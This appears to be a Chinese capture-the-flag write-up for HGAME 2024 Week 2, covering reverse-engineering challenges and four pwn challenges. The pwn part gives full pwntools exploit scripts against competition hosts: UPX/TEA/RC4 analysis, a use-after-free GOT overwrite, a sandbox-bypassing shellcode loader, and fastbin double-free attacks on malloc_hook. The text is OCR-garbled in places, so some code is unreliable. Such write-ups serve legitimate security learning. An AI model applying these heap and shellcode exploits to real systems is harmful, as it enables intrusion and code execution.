HGAME 2024 Week2 Writeup

Web

Reverse

arithmetic

修改字节码的UPX壳、改三处ari成UPX

```
00 00 00 00 00 00 00 00
                               00 00
                                     00 00 00 00
                                                00
01F0
                            61
                               72 69
                                     30 00 00 00 00
0200
     00 B0 0F 00
                00
                   10 00
                         00 00
                               00
                                  00
                                     00 00
                                           04
                                              00
                                                 00
0210
                   00 00
                         00 00
0220
                 00
                    00
                      00
                         00 00
                               20
                                  00
                                     00 00
                                          CO 0F
                                                 00
0230
                 00
                    04
                      00
                         00
                            00
                               00
                                       00
                                                 00
                                  00
                                     00
                                              00
0240
     00 00 00 00
                40
                   00 00
                         E0
                            2E
                               72
                                  73
                                        63
                                           00
                                              00
                                                 00
0250
     00 10 00 00 00 E0 0F
                         00 00
                               06 00
                                    00 00
                                             00
                                                 00
0260
```

```
int v14; // eax
  14
       _int64 v15; // rcx
  15
  16
      int v16; // eax
  17
18
      v3 = time64(0i64);
19
      srand(v3);
20
      \vee 4 = 1i64;
21
      v5 = 1;
      v6 = 1;
22
      for ( i = fopen("out", "rb"); (unsigned int)sub 140001080(i, "%d") != -1; v5 = v9 )
23
  24
25
        v8 = 1;
26
       if ( v5 != v6 )
27
          v8 = v6 + 1;
28
        v9 = v5 + 1;
29
        if ( v5 != v6 )
9 30
          v9 = v5;
31
        v6 = v8;
  32
```

取当前时间为随机数种子,然后从out文件里面读数字,out文件里是类似三角形,第一行一个第二行两个。。。第一个for循环是按照三角形读取输入,第二步是对三角形的每一行取一个数字相加,数字取决于上一个数字的左右两个分支。结尾判断是大于等于一个数字,所以这个数肯定是最大值,数字三角形最大求和路径问题,可以用动态规划的方法求路径,在网上找的板子

```
1 int num[502][502],dp[502][502];
2 int path[502];
3 int max(int a, int b)
4 {
5    return a > b ? a : b;
```

```
6 }
 7 int main(void) {
       FILE *f=0;
9
       f=fopen("C:\\Users\\zbw\\Desktop\\out","rb");
       for (int i = 1; i <= 500; i++)
10
       {
11
12
           for (int j = 1; j \le i; j++)
13
           {
14
               fscanf(f,"%d",&num[i][j]);
           }
15
16
17
       }
       int n, i, j;
18
19
       n = 500;
       memset(path, -1, sizeof(path));
20
       for (i = 1; i <= n; i++)
21
           for (j = 1; j \le i; j++)
22
23
            {
24
                dp[i][j] = num[i][j];
25
           }
       for (i = n - 1; i > 0; i--)
26
27
           for (j = 1; j \le i; j++)
28
            {
                dp[i][j] = max(dp[i + 1][j], dp[i + 1][j + 1]) + num[i][j];
29
30
       printf("%d ", dp[1][1]);
31
32
       int m = dp[1][1], d = num[1][1], ti = 1, tj = 1;
33
34
       for (i = 2; i <= n; i++)
35
36
       {
           m -= d; ti = i;
37
           if (m == dp[ti][tj])
38
39
           {
40
                printf("%d",1);
41
                d = num[ti][tj];
42
           }
           else if (m == dp[ti][tj + 1])
43
44
           {
45
                tj += 1;
                printf("%d",2);
46
47
                d = num[ti][tj];
48
           }
49
       }
50
       return 0;
51
52 }
```

最后把路径输出然后取MD5

Ezcpp

c++写的tea加密

改了delta数


```
40
     THE VETS // IDM
      int64 result; // rax
 24
 25
 26
     a1[8] = 1234;
27
     v1 = 0;
     a1[9] = 2341;
28
29 v2 = 32i64;
30
     a1[10] = 3412;
31 v3 = 0;
32
     a1[11] = 4123;
33 v4 = 32i64;
34 a1[12] = 0xDEADBEEF;
\triangleright 35 v5 = *a1;

ightharpoonup 36 v6 = a1[1];
```

写个解密脚本就行

babyAndroid

两个check,第一个校验用户名,第二个密码,check1是rc4,key是"3e1fel",在java里面,check2是native层需要拉出.so文件,分析是AES加密用的key就是用户名



init里面有个换表的函数

```
uction Data Unexplored External symbol Lumina function
                        ×
                             Pseudocode-A
                                               ×
       3
            IDA View-A
                                                    O
                                                                               Hex View-1
        1 void sub_BD0()
Segme
        2 {
.text
      3 memcpy(RijnDael AES LONG 3BD0, &unk 660, sizeof(RijnDael AES LONG 3BD0));
.text
      4 }
. text
.text
.text
.text
.text
.plt
.plt
.plt
.plt
```

所以这道题是要自己写解密脚本的,然后换表解密,但是飞哥出现重大失误,表没换成,赛博厨子直 接两步都解密了

Babyre

代码很短但是要考虑的很多,读取输入时会在输入末尾赋值0xf9,这个后续要用到

```
9
10
      v9[2] = readfsqword(0x28u);
11
      sub 1708();
12
      if ( !__sigsetjmp(env, 1) )
 13
14
        signal(8, handler);
15
        for (i = 0; i \le 5; ++i)
          byte_40A0[i] ^= 0x11u;
16
 17
      }
      sem init(&sem, 0, 1u);
18
19
      sem_init(&stru_4280, 0, 0);
20
      sem_init(&stru_42A0, 0, 0);
      sem_init(&stru_42C0, 0, 0);
21
22
      pthread_create(&newthread, OLL, start_routine, OLL);
23
      pthread create(&v7, OLL, sub 140D, OLL);
24
      pthread create(&v8, OLL, sub 150C, OLL);
25
      pthread_create(v9, 0LL, sub_1609, 0LL);
26
      for (j = 0; j \le 3; ++j)
        pthread join(*(&newthread + j), 0LL);
27
      sub_1803();
28
29
      return OLL;
30 }
```

第一个for循环前设置了一个跳转点,然后又设置了一个符号处理,符号8是除0异常,处理函数里面会发现加加了0xf9,然后进行了跳转跳到了设置的跳转点

```
function Instruction Data Unexplored External symbol Lum

IDA View-A Pseudocode-B Pseudocode

1 void __noreturn handler()
2 {
3  ++dword_4240;
4  siglongjmp(env, 1);
5 }
```

for循环里面有对一个全局变量进行异或操作,这个全局变量在init里面又会重新赋值

```
IDA View-A 
Pseudocode-C 
Pseudocode-B 

void sub_12E9()

{
  strcpy(byte_40A0, "feifei");
  4 }
```

在后面是初始了四个信号量,在创建了四个线程调用四个函数,用信号量在线程间进行通信

```
1 void __fastcall __noreturn start_routine(void *a1)
  2 {
while (1)
  4
 5
       sem_wait(&sem);
6
       if ( dword_4244 > 31 )
• 7
         break;
       dword 41C0[dword 4244] += (char)byte 40A0[(dword 4244 + 1) % 6] * dword 41C0[dword 4244 + 1];
 8
9
       ++dword_4244;
10
       sem post(&stru 4280);
 11 }
     sem_post(&stru_4280);
12
13 pthread_exit(0LL);
14 }
```

其中一个线程里面的函数,其他的函数也一样,semwait是将参数信号量减一,如果参数为0,就等待他不为零时减一,sempost是将参数信号量加一。因为sem信号刚开始被设置成了1,其余都是0,所以图片中的线程会第一个调用然后调用下一个线程以此类推顺序循环,加密就是将密文一个字节与下一个字节跟全局变量进行可逆运算。现在就需要知道全局变量参与加密时的值,

```
loc 18DD:
                         eax, [rbp+var 40]
                mov
                         eax, 3
                sub
                         [rbp+var_38], eax
                mov
                mov
                         eax, 1
                cdq
                         [rbp+var_38]
                idiv
                         [rbp+var_34], eax
                mov
                        eax, [rbp+var_40]
                mov
                cdae
00 00
                         rdx, byte_40A0
                lea
                movzx
                         eax, byte ptr [rax+rdx]
                         eax, 11h
                xor
```

for循环的汇编,发现有个idiv的对变量进行除法的操作var_40就是i,这段就是除(i-3),那么当i等于3时就会引发除零异常,然后就会调用信号处理,将0xf9++,跳转,因为跳转已经被设置,所以就不会在进入for循环里,所以全局变量就被异或三次。(其实这里要是调试的话也会得到key的值)

```
#include <stdint.h>
 #include <string.h>
#include <time.h>
int main(void) {
     unsigned char key[7] = { "feifei" };
         key[j] = 0x11;
     unsigned int v[33] = {
         0x00002F14, 0x0000004E, 0x000004FF3, 0x0000006D, 0x0000032D8, 0x0000006D, 0x000006B4B, 0xFFFFFF92,
         0x0000264F, 0x0000005B, 0x000052FB, 0xFFFFFF9C, 0x000002B71, 0x00000014, 0x000002A6F, 0xFFFFFF95,
         0x000028FA, 0x0000001D, 0x00002989, 0xFFFFFF9B, 0x0000028B4, 0x0000004E, 0x000004506, 0xFFFFFFDA,
         0x0000177B, 0xFFFFFFFC, 0x000040CE, 0x0000007D, 0x0000029E3, 0x0000000F, 0x00001F11, 0x000000FF
         , 0xfa };
     while (1)
         v[i] = (v[i + 1] - key[(i+1) \% 6]);
         v[i] /= (v[i + 1] + key[(i+1) \% 6]);
         v[i] += (v[i + 1] \hat{key}[(i+1) \% 6]);
         v[i] = (v[i + 1] * key[(i+1) % 6]);
             break;
     for (int k=0; k<32; k++)
     printf("%c", v[k]);
```

Elden Ring II

堆题

```
int v4; // [rsp+1Ch] [rbp-4h] BYREF
  4
   5
   6
      init(argc, argv, envp);
  7
      while (1)
   8
   9
        menu(*(_QWORD *)&argc);
        *(_QWORD *)&argc = "%d";
 10
        __isoc99_scanf("%d", &v4);
 11
12
        switch ( v4 )
  13
  14
           case 1:
             add_note("%d");
15
16
             break;
  17
          case 2:
             delete_note("%d", &v4);
 18
19
             break;
  20
           case 3:
             edit_note("%d", &v4);
21
 22
             break;
  23
           case 4:
24
             show_note("%d", &v4);
 25
             break;
  26
           case 5:
27
             exit(0);
           default:
  28
29
             *(_QWORD *)&argc = "Wrong choice!";
9 30
            puts("Wrong choice!");
31
            break;
  32
         }
    0000264D main:23 (40164D)
```

add限制最大大小0xff, delete, free时不会置0,可以uaf

```
Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn
    .conf system-wide):
             [update]
Û
  D
             interval=never
        You have the latest version of Pwntools (4.11.1)
Л
        '/home/z221x/Desktop/pwn/week2/Elden/vuln'
        Arch:
                   amd64-64-little
M.°
        RELRO:
                   Partial RELRO
        Stack:
- \vee
                   NX enabled
        PIE:
Iz221x@z221x-virtual-machine:~/Desktop/pwn/week2/Elden$
0
. F
(O) U
  Other Locations
```

没开pie


所以可以直接用uaf修改tcache的next成我们想要写的地址就可以任意地址写,直接上exp吧

```
1 from pwn import*
 2 def add(n,size):
    p.sendlineafter(b'>',b'1')
 3
    p.sendlineafter(b'Index: ',str(n))
    p.sendlineafter(b'Size: ',str(size))
 5
 6 def free(n):
 7
    p.sendlineafter(b'>',b'2')
    p.sendlineafter(b'Index: ',str(n))
 9 def edit(n,payload):
    p.sendlineafter(b'>',b'3')
10
    p.sendlineafter(b'Index: ',str(n))
11
    p.sendafter(b'Content: ',payload)
12
13 def show(n):
    p.sendlineafter(b'>',b'4')
14
    p.sendlineafter(b'Index: ',str(n))
15
16 #p=process("./vuln")
17 p=remote("106.14.57.14",30495)
18 elf=ELF("vuln")
19 freegot=elf.got["free"]
20 libc=ELF("libc.so.6")
21 sym=libc.sym["system"]
22 free_=libc.sym["free"]
23 add(0,100)
24 add(1,100)
```

```
25 free(0)
26 free(1)
27 edit(1,p64(0x404100))将note数组的一部分作为fake chunk, 0x404100正好对应note[8]
28 add(2,100)
29 add(3,100)
30 add(8,100)
31 edit(3,p64(freegot)) 编辑note[8]为freegot
32 show(8)泄露libc基址
33 libc=u64(p.recv(6).ljust(8,b'\x00'))-free_
34 sym=sym+libc
35 edit(8,p64(sym)) 将freegot的改为sym
36 edit(2,b'/bin/sh\x00')
37 free(2)调用sym (bin)
38 p.interactive()
```

ShellcodeMaster

沙盒过滤掉了execve跟execvat只能用orw绕过



```
.text:000000000040136F BA 04 00 00 00
                                                       mov
                                                               edx, 4
                                                               esi, 1000h
.text:0000000000401374 BE 00 10 00 00
                                                       mov
.text:0000000000401379 48 89 C7
                                                               rdi, rax
                                                       mov/
.text:000000000040137C B8 00 00 00 00
                                                       mov
                                                               eax, 0
.text:0000000000401381 E8 5A FD FF FF
                                                               mprotect
                                                       call
.text:0000000000401381
.text:0000000000401386 49 C7 C7 00 30 33 02
                                                               r15, 2333000h
                                                      mov
.text:000000000040138D 48 C7 C0 33 23 00 00
                                                               rax, 2333h
                                                      mov
.text:0000000000401394 48 C7 C3 33 23 00 00
                                                               rbx, 2333h
                                                      mov
                                                               rcx, 2333h
.text:000000000040139B 48 C7 C1 33 23 00 00
                                                       mov
                                                               rdx, 2333h
.text:00000000004013A2 48 C7 C2 33 23 00 00
                                                      mov
.text:00000000004013A9 48 C7 C4 33 23 00 00
                                                               rsp, 2333h
                                                      mov
                                                               rbp, 2333h
rsi, 2333h
.text:00000000004013B0 48 C7 C5 33 23 00 00
                                                      mov
.text:00000000004013B7 48 C7 C6 33 23 00 00
                                                       mov
.text:00000000004013BE 48 C7 C7 33 23 00 00
                                                               rdi, 2333h
                                                       mov
.text:00000000004013C5 49 C7 C0 33 23 00 00
                                                               r8, 2333h
                                                      mov
.text:00000000004013CC 49 C7 C1 33 23 00 00
                                                               r9, 2333h
                                                      mov
.text:00000000004013D3 49 C7 C2 33 23 00 00
                                                               r10, 2333h
                                                      mov
.text:00000000004013DA 49 C7 C3 33 23 00 00
                                                      moν
                                                               r11, 2333h
.text:00000000004013E1 49 C7 C4 33 23 00 00
                                                               r12, 2333h
                                                      mov
.text:00000000004013E8 49 C7 C5 33 23 00 00
                                                               r13, 2333h
                                                      mov
.text:00000000004013EF 49 C7 C6 33 23 00 00
                                                               r14, 2333h
                                                      moν
.text:00000000004013F6 41 FF E7
                                                       jmp
                                                               r15
.text:00000000004013F6
.text:00000000004013F6
                                                      main endp
.text:00000000004013F6
```

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
  2 {
  3
      void *buf; // [rsp+8h] [rbp-8h]
      init(argc, argv, envp);
      sandbox();
      buf = (void *)(int)mmap((void *)0x2333000, 0x1000uLL, 7, 34, 0xFFFFFFFF, 0LL);
      puts(loc_402008);
9
      read(0, buf, 0x16uLL);
10
      puts("Love!");
      mprotect(buf, 0x1000uLL, 4);
11
12
      JUMPOUT (0x2333000LL);
13 }
```

要22个字节调用mprotect跟read

```
100402008
                                          ; signed int64 fastcall
100402008
                                          sub 402008 proc near
                                                  edi, r15d
)00402008 44 89 FF
                                          mov
90040200B 31 CO
                                          xor
                                                  eax, eax
10040200D 99
                                          cda
90040200F B2 07
                                                  d1, 7
                                          mov
000402010 BO OA
                                                  al, 0Ah
                                          mov
000402012 OF 05
                                          syscall
000402014 31 CO
                                          xor
                                                  eax, eax
000402016 90
                                          nop
000402017 90
                                          nop
000402018 89 FE
                                                  esi, edi
                                          mov
00040201A 31 FF
                                                  edi, edi
                                          xor
00040201C B2 FF
                                                  dl, 0FFh
                                          mov
00040201E OF 05
                                          syscall
```

```
1 from pwn import*
2 context.log_level = "debug"
3 context.arch="amd64"
4 p=process("./vuln")
 5 #p=remote("106.14.57.14",32263)
 6 payload=b'\x44\x89\xFF\x31\xC0\x99\xB2\x07\xB0\x0A\x0F\x05\x31\xC0\x89\xFE\x31\
  xFF\xB2\xFF\x0F\x05
7 gdb.attach(p)
 8 p.sendafter(b'shellcode\n',payload)
9 payload1=b'a'*0x16+b'\x48\xC7\xC4\x00\x33\x33\x02\x48\x89\xE5\x48\x83\xEC\x50'
   构造一个栈帧
10 shellcode = ''
11 shellcode += shellcraft.open('./flag')
12 shellcode += shellcraft.read('rax','rsp',0x100)
13 shellcode += shellcraft.write(1,'rsp',0x100)
14 payload1+=asm(shellcode)
15
16 p.sendline(payload1)
17 p.interactive()
```

fastnote

保护全开,还是直接上exp吧

```
1 from pwn import*
2 #p=process("./vuln")
3 p=remote("106.14.57.14",32256)
4 def add(n,size,payload):
```

```
p.sendlineafter(b'Your choice:',b'1')
 6 p.sendlineafter(b'Index: ',str(n))
 7 p.sendlineafter(b'Size: ',str(size))
 8 p.sendafter(b'Content: ',payload)
 9 def free(n):
10 p.sendlineafter(b'Your choice:',b'3')
    p.sendlineafter(b'Index: ',str(n))
11
12 def show(n):
   p.sendlineafter(b'Your choice:',b'2')
13
    p.sendlineafter(b'Index: ',str(n))
14
15 libc=ELF("libc-2.31.so")
16 malloc_trim=libc.sym["malloc_trim"]
17 arena offset=malloc trim+0x150c9c+18+0x22
18 add(0,128,p64(0))
19 add(1,128,p64(0))
20 add(2,128,p64(0))
21 add(3,128,p64(0))
22 add(4,128,p64(0))
                       填满tcachebins 使堆块分配到unsortedbins来泄露libc基址
23 add(5,128,p64(0))
24 add(6,128,p64(0))
25 add(7,128,p64(0))
26 add(8,128,p64(0))
27 add(9,128,p64(0))
28 free(0)
29 free(1)
30 free(2)
31 free(3)
32 free(4)
33 free(5)
34 free(6)
35 free(7)
36 \text{ show}(7)
37 arena_addr=u64(p.recv(6).ljust(8,b'\x00'))-0x60
38 libc_addr=arena_addr-arena_offset
39 one=libc_addr+0xe3b01
40 mallloc_hook=arena_addr-0x10
41 fack_chunk=mallloc_hook-(0x70-0x55)
42 add(0,64,b'a'*31)
43 add(1,64,b'a'*31)
44 add(2,64,b'a'*31)
45 add(3,64,b'a'*31)
46 add(4,64,b'a'*31)
47 add(5,64,b'a'*31)
48 add(6,64,b'a'*31)
49 add(7,64,b'a'*31)
50 add(8,64,b'a'*31)
51 free(0)
```

```
52 free(1)
53 free(2)
54 free(3)
                           fastbins double free利用,分配fake堆块,由于有tcachebins,
55 free(4)
   所以分配堆块很简单
56 free(5)
57 free(6)
58 free(7)
59 free(8)
60 free(7)
61 add(0,64,b'a'*31)
62 add(1,64,b'a'*31)
63 add(2,64,b'a'*31)
64 add(3,64,b'a'*31)
65 add(4,64,b'a'*31)
66 add(5,64,b'a'*31)
67 add(6,64,b'a'*31)
68 add(7,64,p64(fake_chunk))
69 add(8,64,p64(0))
70 add(9,64,p64(0))
71 add(10,64,p64(0)+p64(0)+b'\x00'*11+p64(one)) 进行malloc_hook修改成onegadget
72 p.sendlineafter(b'Your choice:',b'1')
73 p.sendlineafter(b'Index: ',str(11))
74 p.sendlineafter(b'Size: ',str(8))
75 p.interactive()
```

oldfastnotes

libc-2.23没有tcachebins,fastbins对堆块的验证很麻烦需要在malloc hook上下查找0x7f来进行分配

```
1 from pwn import*
2 #p=process("./vuln")
3 p=remote("106.14.57.14",32066)
4 def add(n,size,payload):
5 p.sendlineafter(b'Your choice:',b'1')
    p.sendlineafter(b'Index: ',str(n))
   p.sendlineafter(b'Size: ',str(size))
7
8 p.sendafter(b'Content: ',payload)
9 def free(n):
10 p.sendlineafter(b'Your choice:',b'3')
p.sendlineafter(b'Index: ',str(n))
12 def show(n):
p.sendlineafter(b'Your choice:',b'2')
14 p.sendlineafter(b'Index: ',str(n))
15 add(0,128,p64(0))
```

```
16 add(1,128,p64(0))
17 free(0)
18 show(0)
19 arena_addr=u64(p.recv(6).ljust(8,b'\x00'))-0x58
20 libc=arena_addr-3951392
21 malloc_hook=arena_addr-0x10
22 print(hex(arena_addr))
23 print(hex(libc))
24 one_gadget=libc+0xf1247
25 fake_chunk=malloc_hook-0x23
26 print(hex(fake_chunk))
27 add(2,96,p64(0))
28 add(3,96,p64(0))
29 add(4,96,p64(0))
30 free(2)
31 free(3)
32 free(2)
33 add(2,96,p64(fake_chunk))
34 \text{ add}(3,96,p64(0))
35 \text{ add}(4,96,p64(0))
36 add(5,96,b'a'*11+p64(0)+p64(one_gadget))
37 p.sendlineafter(b'Your choice:',b'1')
38 p.sendlineafter(b'Index: ',str(6))
39 p.sendlineafter(b'Size: ',str(8))
40 p.interactive()
```

Crypto

Misc

Blockchain

IoT